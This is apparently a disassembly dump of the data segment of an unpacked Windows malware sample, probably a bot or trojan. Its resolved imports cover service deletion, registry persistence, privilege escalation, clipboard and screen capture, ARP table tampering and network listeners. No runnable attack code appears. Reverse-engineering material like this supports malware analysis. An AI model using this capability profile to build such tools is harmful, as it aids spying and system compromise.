dword_44CC3C	dd 77DEB635h	; resolved to->ADVAPI32.ControlService					; sub_4073B6+35Fr ...
dword_44CC40	dd 77E37311h	; resolved to->ADVAPI32.DeleteService					; sub_4073B6+367r ...
dword_44CC44	dd 71AC0B50h	; resolved to->WS2_32.getpeernamedword_44CC48	dd 71AB4428h	; resolved to->WS2_32.WSACleanup					; sub_4018CB:loc_401B71r ...
dword_44CC4C	dd 77F16C0Ah	; resolved to->GDI32.DeleteObjectdword_44CC50	dd 5B894541h						; sub_4073B6+9C6r ...
dword_44CC54	dd 77DDEDE5h	; resolved to->ADVAPI32.RegDeleteValueA					; sub_4073B6+284r ...
dword_44CC58	dd 7C82C2D3h	; resolved to->KERNEL32.GetLogicalDriveStringsA					; sub_4073B6+DAr ...
dword_44CC5C	dd 7CA41110h	; resolved to->SHELL32.ShellExecuteA					; sub_4073B6+B1Br ...
dword_44CC60	dd 71AB664Dh	; resolved to->WS2_32.WSAStartup					; sub_4018CB+2Fr ...
dword_44CC64	dd 42C2CD78h	; resolved to->WININET.HttpSendRequestA					; sub_4073B6+818r
dword_44CC68	dd 5B897BE9h						; sub_4073B6+99Er
dword_44CC6C	dd 74344AE7h						; sub_4073B6+BB6r
dword_44CC70	dd 76D64D5Eh	; resolved to->IPHLPAPI.IcmpCreateFile					; sub_4073B6+8B6r ...
dword_44CC74	dd 74327E4Dh	dword_44CC78	dd 71AB94DCh	; resolved to->WS2_32.WSAGetLastError					; sub_401447+3Dr ...
dword_44CC7C	dd 42C2C8A1h	; resolved to->WININET.InternetOpenA					; sub_4073B6+7FBr
dword_44CC80	dd 7E41B933h	; resolved to->USER32.IsWindow					; sub_4073B6+1C2r
dword_44CC84	dd 71AB951Eh	; resolved to->WS2_32.getsockname					; sub_4073B6+72Cr ...
dword_44CC88	dd 71AB406Ah	; resolved to->WS2_32.connect					; sub_405900+62r ...
dword_44CC8C	dd 71AB4489h	; resolved to->WS2_32.WSAIoctl					; sub_4073B6+4EFw ...
dword_44CC90	dd 0CC0004h						; sub_4073B6:loc_407C37w ...
dword_44CC94	dd 77DDEAF4h	; resolved to->ADVAPI32.RegCreateKeyExA					; sub_4073B6+26Cr ...
dword_44CC98	dd 71ABE479h	; resolved to->WS2_32.gethostbyaddr					; sub_4073B6+627w ...
dword_44CC9C	dd 77DFD11Bh	; resolved to->ADVAPI32.LookupPrivilegeValueA					; sub_4073B6+2C9r ...
dword_44CCA0	dd 77DEAF3Fh	; resolved to->ADVAPI32.EnumServicesStatusA					; sub_4073B6+377r ...
dword_44CCA4	dd 743452A3h						; sub_4073B6+BAEr
dword_44CCA8	dd 42C24399h	; resolved to->WININET.HttpOpenRequestA					; sub_4073B6+810r
dword_44CCAC	dd 7E430237h	; resolved to->USER32.OpenClipboard					; sub_4073B6+1D2r ...
dword_44CCB0	dd 42C249F2h	; resolved to->WININET.InternetConnectA					; sub_4073B6+820r
dword_44CCB4	dd 71AB2D0Fh	; resolved to->WS2_32.recvfrom					; sub_4073B6+5ACw ...
dword_44CCB8	dd 77DD6BF0h	; resolved to->ADVAPI32.RegCloseKey					; sub_409A42+5Ar
dword_44CCBC	dd 71AB3EA1h	; resolved to->WS2_32.setsockopt					; sub_401447+ABr ...
dword_44CCC0	dd 77DD7753h	; resolved to->ADVAPI32.OpenProcessToken					; sub_4073B6+2BCr ...
dword_44CCC4	dd 71AB2DC0h	; resolved to->WS2_32.select					; sub_405A21+1FCr ...
dword_44CCC8	dd 77F1B221h	; resolved to->GDI32.CreateDCA					; sub_4073B6+436r
dword_44CCCC	dd 7E430D7Ah	; resolved to->USER32.GetClipboardData					; sub_4073B6+1DAr ...
dword_44CCD0	dd 77DEADA7h	; resolved to->ADVAPI32.OpenSCManagerA					; sub_4073B6+342r ...
dword_44CCD4	dd 76F37ABDh	; resolved to->DNSAPI.DnsFlushResolverCacheEntry_Adword_44CCD8	dd 71AB2BC0h	; resolved to->WS2_32.ntohl					; sub_4010B2+1F9r ...
dword_44CCDC	dd 71AB2B66h	; resolved to->WS2_32.ntohs					; sub_4010B2+9Dr ...
dword_44CCE0	dd 7C863DE5h	; resolved to->KERNEL32.Process32First					; sub_4073B6+C2r ...
dword_44CCE4	dd 77F15A7Ah	; resolved to->GDI32.GetDeviceCaps					; sub_4073B6+453r
dword_44CCE8	dd 7E42DE87h	; resolved to->USER32.FindWindowA					; sub_4073B6+1BAr ...
dword_44CCEC	dd 5B8A5199h						; sub_40C212+72r
dword_44CCF0	dd 71AB50C8h	; resolved to->WS2_32.gethostname					; sub_4073B6+734r
dword_44CCF4	dd 71AB615Ah	; resolved to->WS2_32.recv					; sub_402AAF+75r ...
dword_44CCF8	dd 74343318h						; sub_4073B6+BBEr
dword_44CCFC	dd 7C864B0Fh	; resolved to->KERNEL32.CreateToolhelp32Snapshot					; sub_4073B6+BAr ...
dword_44CD00	dd 77DDEBE7h	; resolved to->ADVAPI32.RegSetValueExA					; sub_4073B6+274r ...
dword_44CD04	dd 71AB88D3h	; resolved to->WS2_32.listen					; sub_4069E1+9Cr ...
dword_44CD08	dd 71AB3E00h	; resolved to->WS2_32.bind					; sub_4048F1+89r ...
dword_44CD0C	dd 42C1DAC1h	; resolved to->WININET.InternetCloseHandle					; sub_40A3AD+52Ar
dword_44CD10	dd 0		dword_44CD14	dd 743527D4h						; sub_4073B6+B99r
dword_44CD18	dd 71AB2BF4h	; resolved to->WS2_32.inet_addr					; sub_401447+1A1r ...
dword_44CD1C	dd 77F19219h	; resolved to->GDI32.CreateDIBSection					; sub_4073B6+443r
dword_44CD20	dd 77F16F89h	; resolved to->GDI32.BitBlt					; sub_4073B6+46Br
dword_44CD24	dd 77F15FF0h	; resolved to->GDI32.CreateCompatibleDC					; sub_4073B6+44Br
dword_44CD28	dd 71AB428Ah	; resolved to->WS2_32.send					; sub_402B2E+35r ...
dword_44CD2C	dd 7E430225h	; resolved to->USER32.CloseClipboard					; sub_4073B6+1E2r ...
dword_44CD30	dd 5B86AA41h						; sub_4073B6+9CEr ...
dword_44CD34	dd 7E42F383h	; resolved to->USER32.SendMessageA					; sub_4073B6+1ADr ...
dword_44CD38	dd 7C8214E3h	; resolved to->KERNEL32.GetDriveTypeA					; sub_4073B6+E2r ...
dword_44CD3C	dd 71AB2C69h	; resolved to->WS2_32.sendto					; sub_401447+2DFr ...
dword_44CD40	dd 71B2547Ah						; sub_403C2B+4CCr ...
dword_44CD44	dd 77DFC534h	; resolved to->ADVAPI32.AdjustTokenPrivileges					; sub_41234D+55r
dword_44CD48	dd 77DD761Bh	; resolved to->ADVAPI32.RegOpenKeyExA					; sub_4073B6+25Fr
dword_44CD4C	dd 7CA235CBh	; resolved to->SHELL32.SHChangeNotifydword_44CD50	dd 76D6A195h	; resolved to->IPHLPAPI.DeleteIpNetEntry					; sub_40897F+CEr
dword_44CD54	dd 76D69962h	; resolved to->IPHLPAPI.GetIpNetTable					; sub_4073B6+A5Dr ...
dword_44CD58	dd 71AB3B91h	; resolved to->WS2_32.socket					; sub_401BD7+55r ...
dword_44CD5C	dd 71AB4FD4h	; resolved to->WS2_32.gethostbyname					; sub_4073B6+61Aw ...
dword_44CD60	dd 7432FF6Bh						; sub_4073B6+BA6r
dword_44CD64	dd 71AB3F41h	; resolved to->WS2_32.inet_ntoa					; sub_405A21+250r ...
dword_44CD68	dd 5B867750h						; sub_4073B6+9A6r ...
dword_44CD6C	dd 71AC1028h	; resolved to->WS2_32.accept					; sub_4069E1+B3r ...
dword_44CD70	dd 71AB9639h	; resolved to->WS2_32.closesocket					; sub_401447+2F5r ...
dword_44CD74	dd 71AB4519h	; resolved to->WS2_32.ioctlsocket					; sub_4048F1+39Fr ...
dword_44CD78	dd 71B2578Ch						; sub_4073B6+ACEr
dword_44CD7C	dd 71AB8769h	; resolved to->WS2_32.WSASocketA					; sub_4018CB+4Fr ...
dword_44CD80	dd 71B2517Fh						; sub_4073B6+AA0w ...
dword_44CD84	dd 7C80AC0Fh	; resolved to->KERNEL32.SetErrorMode					; sub_4073B6+ADr ...
dword_44CD88	dd 7E41DAEAh	; resolved to->USER32.DestroyWindow					; sub_4073B6+1CAr
		align 10h
dword_44CD90	dd 76D64D33h	; resolved to->IPHLPAPI.IcmpCloseHandle					; sub_4073B6+8C3r ...
dword_44CD94	dd 7C8217EAh	; resolved to->KERNEL32.SearchPathA					; sub_4073B6+EAr ...
dword_44CD98	dd 0							; sub_4073B6+12Bw ...
dword_44CD9C	dd 0							; sub_407F9F+1Cr
dword_44CDA0	dd 0							; sub_407F9F:loc_407FE7r
dword_44CDA4	dd 0							; sub_407F9F+50r
dword_44CDA8	dd 0							; sub_4073B6:loc_40768Bw ...
dword_44CDAC	dd 0							; sub_407F9F+84r
dword_44CDB0	dd 0							; sub_407F9F:loc_40804Fr
dword_44CDB4	dd 0							; sub_407F9F+B8r
dword_44CDB8	dd 0							; sub_407F9F:loc_408083r
dword_44CDBC	dd 0							; sub_407F9F+ECr
dword_44CDC0	dd 0							; sub_4073B6+877w ...
dword_44CDC4	dd 0							; sub_407F9F+120r
dword_44CDC8	dd 0							; sub_407F9F:loc_4080EBr ...
dword_44CDCC	dd 0							; sub_407F9F+154r
dword_44CDD0	dd 0							; sub_407F9F:loc_40811Fr ...
dword_44CDD4	dd 0							; sub_407F9F+188r
dword_44CDD8	dd 0							; sub_407F9F:loc_408153r
dword_44CDDC	dd 0							; sub_407F9F+1BCr
dword_44CDE0	dd 0							; sub_407F9F:loc_408187r
dword_44CDE4	dd 0							; sub_407F9F+1F0r
dword_44CDE8	dd 0							; sub_407F9F:loc_4081BBr
dword_44CDEC	dd 0							; sub_407F9F+224r
dword_44CDF0	dd 0							; sub_407F9F:loc_4081EFr
dword_44CDF4	dd 0							; sub_407F9F+258r
dword_44CDF8	dd 0							; sub_407F9F:loc_408223r
dword_44CDFC	dd 0							; sub_407F9F+28Cr
		dd 2 dup(0)
dword_44CE08	dd 41h dup(0)	dword_44CF0C	dd 5 dup(0)	dword_44CF20	dd 0							; sub_408F94+54r ...
dword_44CF24	dd 0							; sub_408F94+37r ...
dword_44CF28	dd 0							; sub_4090ED+83o
dword_44CF2C	dd 0							; sub_4090ED+11Bw
dword_44CF30	dd 0Dh dup(0)						; sub_4090ED:loc_40922Ao
dword_44CF64	dd 0							; sub_408F94+F0r ...
		dd 0
dword_44CF6C	dd 0Eh dup(0)	dword_44CFA4	dd 1000h dup(0)						; sub_4098D3o ...
dword_450FA4	dd 0							; sub_4098D3+Eo ...
dword_450FA8	dd 0Eh dup(0)	dword_450FE0	dd 2 dup(0)	dword_450FE8	dd 17h dup(0)						; sub_40B479+131o ...
dword_451044	dd 40h dup(0)						; sub_40C212+A5o
dword_451144	dd 0							; sub_40B7F3+4Dr ...
dword_451148	dd 17h dup(0)						; sub_40C0DE+12Do
dword_4511A4	dd 3Fh dup(0)						; sub_40B734+7Do ...
		db 3 dup(0)
byte_4512A3	db 0			; DATA XREF: sub_40B7F3+29r
					; sub_40B7F3+34w
dword_4512A4	dd 40h dup(0)						; sub_40BA4A+88o ...
dword_4513A4	dd 41h dup(0)						; sub_40B350+50o ...
dword_4514A8	dd 0							; sub_40973B+44r ...
		dd 5 dup(0)
dword_4514C0	dd 0							; sub_40CC09+BC5r
		dd 2D9h	dup(0)
dword_452028	dd 0							; sub_40973B+2Do ...
		dd 3Fh dup(0)
dword_452128	dd 0							; sub_4133F9+40w ...
dword_45212C	dd 0							; sub_40656E:loc_4065B5r ...
dword_452130	dd 0							; sub_4132BE+52w ...
dword_452134	dd 0							; sub_4048F1+7Ew ...
dword_452138	dd 0							; sub_406D50+53r ...
dword_45213C	dd 0							; sub_406059+122w ...
byte_452140	db 0			; DATA XREF: sub_40C929+91o
					; sub_40CC09+2EF0r ...
		align 4
		dd 0F7C4h dup(0)
dword_490054	dd 11FBh dup(0)						; seg001:00423201o
		db 3 dup(0)
byte_494843	db 0			; DATA XREF: seg001:off_42CE10o
		dd 0FE43h dup(0)
		db 2 dup(0)
word_4D4152	dw 0			; DATA XREF: seg001:off_42923Co
		dd 2FBEh dup(0)
		db 3 dup(0)
byte_4E004F	db 0			; DATA XREF: seg001:00422415o
					; seg001:00423205o
		dd 103Fh dup(0)
dword_4E414C	dd 84BEh dup(0)			db 2 dup(0)
word_505446	dw 0			; DATA XREF: seg001:off_421CB0o
		dd 6B01h dup(0)
		db 3 dup(0)
byte_52004F	db 0			; DATA XREF: seg001:00422405o
					; seg001:004231F5o
		dd 13BEh dup(0)
		db 3 dup(0)
byte_524F4B	db 0			; DATA XREF: seg001:off_42CE04o
		dd 2C3Fh dup(0)
		db 3 dup(0)
byte_53004B	db 0			; DATA XREF: seg001:00422409o
					; seg001:004231F9o
		dd 5101h dup(0)
dword_544450	dd 2BCh	dup(0)			db 2 dup(0)
word_544F42	dw 0			; DATA XREF: seg001:off_421CB8o
		dd 103h	dup(0)
dword_545350	dd 0DFA9h dup(0)		db 2 dup(0)
byte_57D1F6	db 0			; DATA XREF: seg001:004231F1o
		align 4
		dd 1CD6h dup(0)
		db 3 dup(0)
byte_584553	db 0			; DATA XREF: seg001:off_42CEC8o
		dd 0FD3Bh dup(0)
		db 0
byte_5C3A41	db 2 dup(0)		; DATA XREF: seg001:off_4292ECo
byte_5C3A43	db 0			; DATA XREF: seg001:off_4372D0o
dword_5C3A44	dd 44C5h dup(0)			db 3 dup(0)
byte_5D4D5B	db 0			; DATA XREF: seg001:off_437220o
		dd 10501h dup(0)
		db 0
byte_616161	db 3 dup(0)		; DATA XREF: seg001:off_430F70o
		dd 0BFh	dup(0)
		db 0
byte_616461	db 3 dup(0)		; DATA XREF: seg001:off_42D8D4o
		dd 1FFh	dup(0)
		db 2 dup(0)
word_616C62	dw 0			; DATA XREF: seg001:off_431200o
		dd 3Fh dup(0)
		db 0
byte_616D61	db 3 dup(0)		; DATA XREF: seg001:off_42D8C0o
		dd 184h	dup(0)
		db 0
byte_617375	db 3 dup(0)		; DATA XREF: seg001:off_43350Co
		dd 2DFAh dup(0)
		db 0
byte_622B61	db 3 dup(0)		; DATA XREF: seg001:off_428F40o
		dd 0DBFh dup(0)
		db 2 dup(0)
word_626262	dw 0			; DATA XREF: seg001:off_42CD80o
		dd 0C0h	dup(0)
dword_626564	dd 242h	dup(0)			db 0
byte_626E6D	db 3 dup(0)		; DATA XREF: seg001:off_42C994o
		dd 3Ch dup(0)
		db 2 dup(0)
word_626F62	dw 0			; DATA XREF: seg001:off_42D860o
		dd 183h	dup(0)
byte_627570	db 3 dup(0)		; DATA XREF: seg001:off_42D698o
byte_627573	db 0			; DATA XREF: seg001:off_4319A8o
		dd 3B3Bh dup(0)
		db 0
byte_636261	db 3 dup(0)		; DATA XREF: seg001:off_430F6Co
		dd 2Fh dup(0)
		db 3 dup(0)
byte_636323	db 0			; DATA XREF: seg001:off_42A3DCo
		dd 0Fh dup(0)
		db 3 dup(0)
byte_636363	db 0			; DATA XREF: seg001:off_42CD3Co
		dd 40h dup(0)
		db 0
byte_636465	db 3 dup(0)		; DATA XREF: seg001:off_42CD90o
		dd 504h	dup(0)
		db 2 dup(0)
word_63787A	dw 0			; DATA XREF: seg001:off_42CDE8o
		dd 2B2Ah dup(0)
dword_642524	dd 0F0Fh dup(0)			db 3 dup(0)
byte_646163	db 0			; DATA XREF: seg001:off_42D858o
		align 10h
dword_646170	dd 0ACh	dup(0)			db 3 dup(0)
byte_646423	db 0			; DATA XREF: seg001:off_42A368o
					; seg001:off_42A384o
		dd 7 dup(0)
		db 0
byte_646441	db 3 dup(0)		; DATA XREF: seg001:off_4295B4o
		dd 8 dup(0)
dword_646464	dd 2C0h	dup(0)			db 3 dup(0)
byte_646F67	db 0			; DATA XREF: seg001:off_430FD8o
		dd 0FEh	dup(0)
		db 0
byte_647361	db 0			; DATA XREF: seg001:off_42D88Co
word_647362	dw 0			; DATA XREF: seg001:off_42D85Co
		dd 103h	dup(0)
dword_647770	dd 3B7Dh dup(0)			db 0
byte_656565	db 3 dup(0)		; DATA XREF: seg001:0042CCC0o
		dd 0
dword_65656C	dd 141h	dup(0)			db 2 dup(0)
word_656A72	dw 0			; DATA XREF: seg001:off_42D684o
		dd 0ACh	dup(0)
dword_656D24	dd 293h	dup(0)			db 0
byte_657771	db 3 dup(0)		; DATA XREF: seg001:off_42CE64o
		dd 3BBCh dup(0)
		db 2 dup(0)
word_666666	dw 0			; DATA XREF: seg001:off_42CCDCo
		dd 0
		db 3 dup(0)
byte_66666F	db 0			; DATA XREF: seg001:off_433A48o
		dd 17Ch	dup(0)
		db 0
byte_666C61	db 3 dup(0)		; DATA XREF: seg001:off_42D8C4o
		dd 3EC0h dup(0)
		db 3 dup(0)
byte_676767	db 0			; DATA XREF: seg001:0042CC9Co
		dd 1FFh	dup(0)
dword_676F64	dd 2 dup(0)	dword_676F6C	dd 2425h dup(0)	dword_680000	dd 1A1Ah dup(0)	dword_686868	dd 3FFEh dup(0)			db 3 dup(0)
byte_696863	db 0			; DATA XREF: seg001:off_42CE0Co
		dd 41h dup(0)
		db 0
byte_696969	db 3 dup(0)		; DATA XREF: seg001:0042CC54o
		dd 25BFh dup(0)
		db 2 dup(0)
word_6A006A	dw 0			; DATA XREF: seg001:00413006o
		dd 3Fh dup(0)
		db 2 dup(0)
word_6A016A	dw 0			; DATA XREF: seg001:off_413002o
		dd 1A3Fh dup(0)
		db 2 dup(0)
word_6A6A6A	dw 0			; DATA XREF: seg001:0042CC30o
		dd 3E3Dh dup(0)
		db 0
byte_6B6361	db 3 dup(0)		; DATA XREF: seg001:off_421378o
		dd 201h	dup(0)
		db 3 dup(0)
byte_6B6B6B	db 0			; DATA XREF: seg001:0042CC0Co
		dd 2542h dup(0)
		db 0
byte_6C0075	db 3 dup(0)		; DATA XREF: seg001:0041F6DCo
		dd 830h	dup(0)
		db 2 dup(0)
word_6C213A	dw 0			; DATA XREF: seg001:00421A50o
		dd 0BFh	dup(0)
		db 2 dup(0)
word_6C243A	dw 0			; DATA XREF: seg001:00421A68o
		dd 3Fh dup(0)
		db 2 dup(0)
word_6C253A	dw 0			; DATA XREF: seg001:00421A80o
		dd 23Fh	dup(0)
		db 2 dup(0)
word_6C2E3A	dw 0			; DATA XREF: seg001:00421A38o
		dd 0CCBh dup(0)
dword_6C6168	dd 2 dup(0)			db 3 dup(0)
byte_6C6173	db 0			; DATA XREF: seg001:off_42D674o
		dd 2BBh	dup(0)
		db 0
byte_6C6C61	db 3 dup(0)		; DATA XREF: seg001:off_4321D4o
		dd 2 dup(0)
dword_6C6C6C	dd 0C0h	dup(0)	dword_6C6F6C	dd 3C81h dup(0)	dword_6D6170	dd 3Eh dup(0)			db 0
byte_6D6269	db 3 dup(0)		; DATA XREF: seg001:off_42D760o
		dd 1BFh	dup(0)
		db 3 dup(0)
byte_6D696B	db 0			; DATA XREF: seg001:off_42D738o
		dd 100h	dup(0)
		db 0
byte_6D6D6D	db 3 dup(0)		; DATA XREF: seg001:0042CBC4o
		dd 17Ch	dup(0)
		db 0
byte_6D7361	db 3 dup(0)		; DATA XREF: seg001:off_42D888o
		dd 2331h dup(0)
dword_6E0028	dd 1853h dup(0)	dword_6E6174	dd 0FDh	dup(0)			db 2 dup(0)
word_6E656A	dw 0			; DATA XREF: seg001:off_42D744o
		dd 101h	dup(0)
		db 3 dup(0)
byte_6E6973	db 0			; DATA XREF: seg001:0041F74Co
		db 3 dup(0)
byte_6E6977	db 0			; DATA XREF: seg001:off_430F60o
		dd 13Ah	dup(0)
		db 0
byte_6E6E61	db 3 dup(0)		; DATA XREF: seg001:off_42D8A0o
		dd 2 dup(0)
		db 2 dup(0)
word_6E6E6E	dw 0			; DATA XREF: seg001:0042CBA0o
		dd 1BDh	dup(0)
		db 2 dup(0)
word_6E7566	dw 0			; DATA XREF: seg001:off_42D778o
		dd 2 dup(0)
		db 3 dup(0)
byte_6E7573	db 0			; DATA XREF: seg001:off_42D634o
		dd 0FAh	dup(0)
		db 3 dup(0)
byte_6E795F	db 0			; DATA XREF: seg001:0041F6F0o
		dd 4 dup(0)
		db 3 dup(0)
byte_6E7973	db 0			; DATA XREF: seg001:off_42137Co
		dd 3D7Eh dup(0)
		db 3 dup(0)
byte_6F6F6F	db 0			; DATA XREF: seg001:0042CB7Co
		dd 3C82h dup(0)
		db 2 dup(0)
word_70617A	dw 0			; DATA XREF: seg001:off_42D59Co
		dd 0FAh	dup(0)
		db 0
byte_706565	db 3 dup(0)		; DATA XREF: seg001:00420390o
		dd 2C2h	dup(0)
dword_707070	dd 1FDh	dup(0)			db 0
byte_707865	db 3 dup(0)		; DATA XREF: seg001:off_41F7A0o
		dd 3E42h dup(0)
		db 0
byte_717171	db 3 dup(0)		; DATA XREF: seg001:0042CA5Co
		dd 3CFFh dup(0)
		db 3 dup(0)
		db 0
		dd 7Eh dup(0)
		db 0
byte_72676D	db 3 dup(0)		; DATA XREF: seg001:off_42D714o
		dd 1FEh	dup(0)
		db 3 dup(0)
byte_726F6B	db 0			; DATA XREF: seg001:off_42CE08o
		dd 2D7Ch dup(0)
dword_73255C	dd 0FFFh dup(0)			db 0
byte_736559	db 3 dup(0)		; DATA XREF: seg001:off_429C54o
		dd 281h	dup(0)
		db 3 dup(0)
byte_736F63	db 0			; DATA XREF: seg001:0041F748o
dword_736F64	dd 103h	dup(0)			db 3 dup(0)
byte_737373	db 0			; DATA XREF: seg001:0042CB10o
		dd 17Fh	dup(0)
		db 3 dup(0)
byte_737973	db 0			; DATA XREF: seg001:off_42D60Co
		dd 297Dh dup(0)
dword_741F68	dd 2FE1h						; sub_40C2D0+4Aw ...
		align 10h
dword_741F70	dd 0		dword_741F74	dd 20h dup(0)						; sub_40C2D0+5BCo ...
dword_741FF4	dd 10h dup(0)						; sub_40CC09+91Do
dword_742034	dd 0Dh dup(0)	dword_742068	dd 0							; sub_413525+19o
dword_74206C	dd 16h dup(0)	dword_7420C4	dd 0							; sub_40C2D0+5D3w ...
dword_7420C8	dd 0				dd 3 dup(0)
dword_7420D8	dd 0		dword_7420DC	dd 0							; sub_40CC09+276r
		dd 2 dup(0)
		db 2 dup(0)
byte_7420EA	db 0			; DATA XREF: sub_40CC09:loc_411271r
					; sub_40CC09+4672o
		align 4
byte_7420EC	db 0			; DATA XREF: sub_40CA91+28r
					; sub_40CA91+30o
		align 10h
dword_7420F0	dd 0							; sub_40C2D0+587r ...
dword_7420F4	dd 0							; sub_40CC09+8C1r
dword_7420F8	dd 41h dup(0)	byte_7421FC	db 0			; DATA XREF: sub_4131B7+6Ar
					; sub_4131B7+98w
		align 10h
		dd 2 dup(0)
dword_742208	dd 0				align 10h
dword_742210	dd 0							; sub_414D55+A4w
		align 8
word_742218	dw 0			; DATA XREF: sub_414D55+55r
					; sub_414D55+9Ao
word_74221A	dw 0			; DATA XREF: sub_414D55+48r
		db 2 dup(0)
word_74221E	dw 0			; DATA XREF: sub_414D55+3Br
word_742220	dw 0			; DATA XREF: sub_414D55+2Er
word_742222	dw 0			; DATA XREF: sub_414D55+21r
		align 8
dword_742228	dd 0							; sub_4150A0+91w
dword_74222C	dd 0							; sub_414B02+1B9w ...
dword_742230	dd 0							; sub_419730:loc_4197CAw ...
dword_742234	dd 0		dword_742238	dd 0A28h	dword_74223C	dd 501h		dword_742240	dd 5		dword_742244	dd 1		dword_742248	dd 1							; sub_41ABF0+91w
dword_74224C	dd 760ED0h						; sub_40C2D0+32Br ...
		dd 0
dword_742254	dd 760D70h						; sub_41D5E6+9r ...
dword_742258	dd 0		dword_74225C	dd 0							; sub_41DA84+4r ...
		dd 0
off_742264	dd offset aCM_unpackerPac ; DATA XREF: sub_41ABF0+2Ew
					; "C:\\m_unpacker\\packed.exe"
		dd 0
byte_74226C	db 0			; DATA XREF: sub_415CAB+2Dw
					; sub_41B497+5r
		align 10h
dword_742270	dd 0		dword_742274	dd 0							; sub_415CAB+8Bw
dword_742278	dd 0							; sub_41AB37:loc_41AB49r ...
		align 10h
dword_742280	dd 0		dword_742284	dd 0							; sub_4157BF:loc_4158BBr ...
dword_742288	dd 0		dword_74228C	dd 0							; sub_417F96+1Ar ...
byte_742290	db 0			; DATA XREF: sub_417E92+3r
					; sub_417E92+98r ...
		align 4
dword_742294	dd 0							; sub_418074+21w ...
byte_742298	db 0			; DATA XREF: sub_418074+51w
		align 4
dword_74229C	dd 0							; sub_418645+3Ar ...
dword_7422A0	dd 0							; sub_418645+43r ...
dword_7422A4	dd 0							; sub_418411+5r
dword_7422A8	dd 0		dword_7422AC	dd 2 dup(0)	dword_7422B4	dd 0							; sub_414A03:loc_414AD0r ...
		dd 3 dup(0)
dword_7422C4	dd 0							; sub_414A03+BFr ...
		dd 0
dword_7422CC	dd 1							; sub_419FC4+4Cw ...
dword_7422D0	dd 1							; sub_41A3AC+4w ...
dword_7422D4	dd 0				dd 0
dword_7422DC	dd 0							; sub_41A95B+46w ...
aCM_unpackerPac	db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: sub_41ABF0:loc_41AC07o
					; seg001:off_742264o
		align 4
		dd 3Ah dup(0)
dword_7423E4	dd 1							; sub_41AE3D+23w ...
dword_7423E8	dd 0		dword_7423EC	dd 0							; sub_41A891:loc_41A8BAw ...
dword_7423F0	dd 1							; sub_41B513:loc_41B57Dw
		align 8
word_7423F8	dw 0			; DATA XREF: sub_41BC28+1Ao
					; sub_41BC28+46r
byte_7423FA	db 0			; DATA XREF: sub_41BC28+39r
		align 4
dword_7423FC	dd 7 dup(0)	dword_742418	dd 0							; sub_41BC28+5Co
dword_74241C	dd 0		dword_742420	dd 0		dword_742424	dd 0		dword_742428	dd 77C2807Ch						; sub_41BD4B+38r ...
		align 10h
dword_742430	dd 0							; sub_41BFB2+63w ...
		align 8
dword_742438	dd 0							; sub_41BFB2+46r
dword_74243C	dd 10h dup(0)	word_74247C	dw 0			; DATA XREF: sub_41C210+A8r
word_74247E	dw 0			; DATA XREF: sub_41BFB2+54r
					; sub_41C210+DBr ...
word_742480	dw 0			; DATA XREF: sub_41C210+CAr
word_742482	dw 0			; DATA XREF: sub_41C210+D3r
					; sub_41C210:loc_41C302r
word_742484	dw 0			; DATA XREF: sub_41C210+C0r
word_742486	dw 0			; DATA XREF: sub_41C210+B8r
word_742488	dw 0			; DATA XREF: sub_41C210+B0r
word_74248A	dw 0			; DATA XREF: sub_41C210+9Er
dword_74248C	dd 0		dword_742490	dd 10h dup(0)	word_7424D0	dw 0			; DATA XREF: sub_41C210+46r
word_7424D2	dw 0			; DATA XREF: sub_41BFB2:loc_41C029r
					; sub_41C210+78r ...
word_7424D4	dw 0			; DATA XREF: sub_41C210+67r
word_7424D6	dw 0			; DATA XREF: sub_41C210+70r
					; sub_41C210:loc_41C294r
word_7424D8	dw 0			; DATA XREF: sub_41C210+5Dr
word_7424DA	dw 0			; DATA XREF: sub_41C210+55r
word_7424DC	dw 0			; DATA XREF: sub_41C210+4Dr
word_7424DE	dw 0			; DATA XREF: sub_41C210+3Er
dword_7424E0	dd 0		dword_7424E4	dd 0							; sub_41BFB2:loc_41C0FEr ...
dword_7424E8	dd 0		dword_7424EC	dd 0		dword_7424F0	dd 0		; resolved to->USER32.MessageBoxA					; sub_41CA11+2Ew ...
dword_7424F4	dd 0		; resolved to->USER32.GetActiveWindow					; sub_41CA11:loc_41CA60r
dword_7424F8	dd 0		; resolved to->USER32.GetLastActivePopup					; sub_41CA11+60r
dword_7424FC	dd 0							; sub_41D474+6Do
dword_742500	dd 0							; sub_41D474+44o
dword_742504	dd 0							; sub_41D474+37o
dword_742508	dd 0							; sub_41D474+51o
		align 10h
dword_742510	dd 0		dword_742514	dd 0							; sub_41DB68+48w ...
byte_742518	db 1			; DATA XREF: sub_403527r sub_403527+9w ...
		align 4
dword_74251C	dd 344968h						; sub_419D5A+14r ...
dword_742520	dd 400h	dup(0)						; seg001:00437EB0o
dword_743520	dd 200h							; sub_4198AE+56r ...
		dd 7 dup(0)
dword_743540	dd 760EF0h						; sub_41991B+75r ...
dword_743544	dd 3Fh dup(0)	dword_743640	dd 20h							; sub_4199F4+Cr ...
dword_743644	dd 4E4h							; sub_41A213+65w ...
		align 10h
dword_743650	dd 3 dup(0)						; sub_41A213+171o ...
dword_74365C	dd 0							; sub_41A213+15Dw ...
byte_743660	db 0			; DATA XREF: sub_41A452:loc_41A55Ew
					; sub_41A452:loc_41A57Bw ...
		align 4
		dd 0Fh dup(0)
		dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h
		dd 77767574h, 7A7978h, 0
		dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h
		dd 57565554h, 5A5958h, 0
		dd 83000000h, 0
		dd 9A0000h, 9E009Ch, 2 dup(0)
		dd 8A0000h, 0FF8E008Ch,	2 dup(0)
		dd 0AA0000h, 2 dup(0)
		dd 0B500h, 0BA0000h, 0
		dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h
		dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h
		dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h
		dd 9FDEDDDCh
byte_743760	db 0			; DATA XREF: sub_41A213+5Co
					; sub_41A213+AFo ...
byte_743761	db 0			; DATA XREF: sub_415628+5Dr
					; sub_41A213+A0w ...
		align 4
		dd 0Fh dup(0)
		dd 10100000h, 6	dup(10101010h),	0
		dd 20200000h, 6	dup(20202020h),	2 dup(0)
		dd 20h,	10000000h, 10001000h, 2	dup(0)
		dd 20000000h, 20002000h, 10h, 0
		dd 20000000h, 2	dup(0)
		dd 200000h, 20000000h, 0
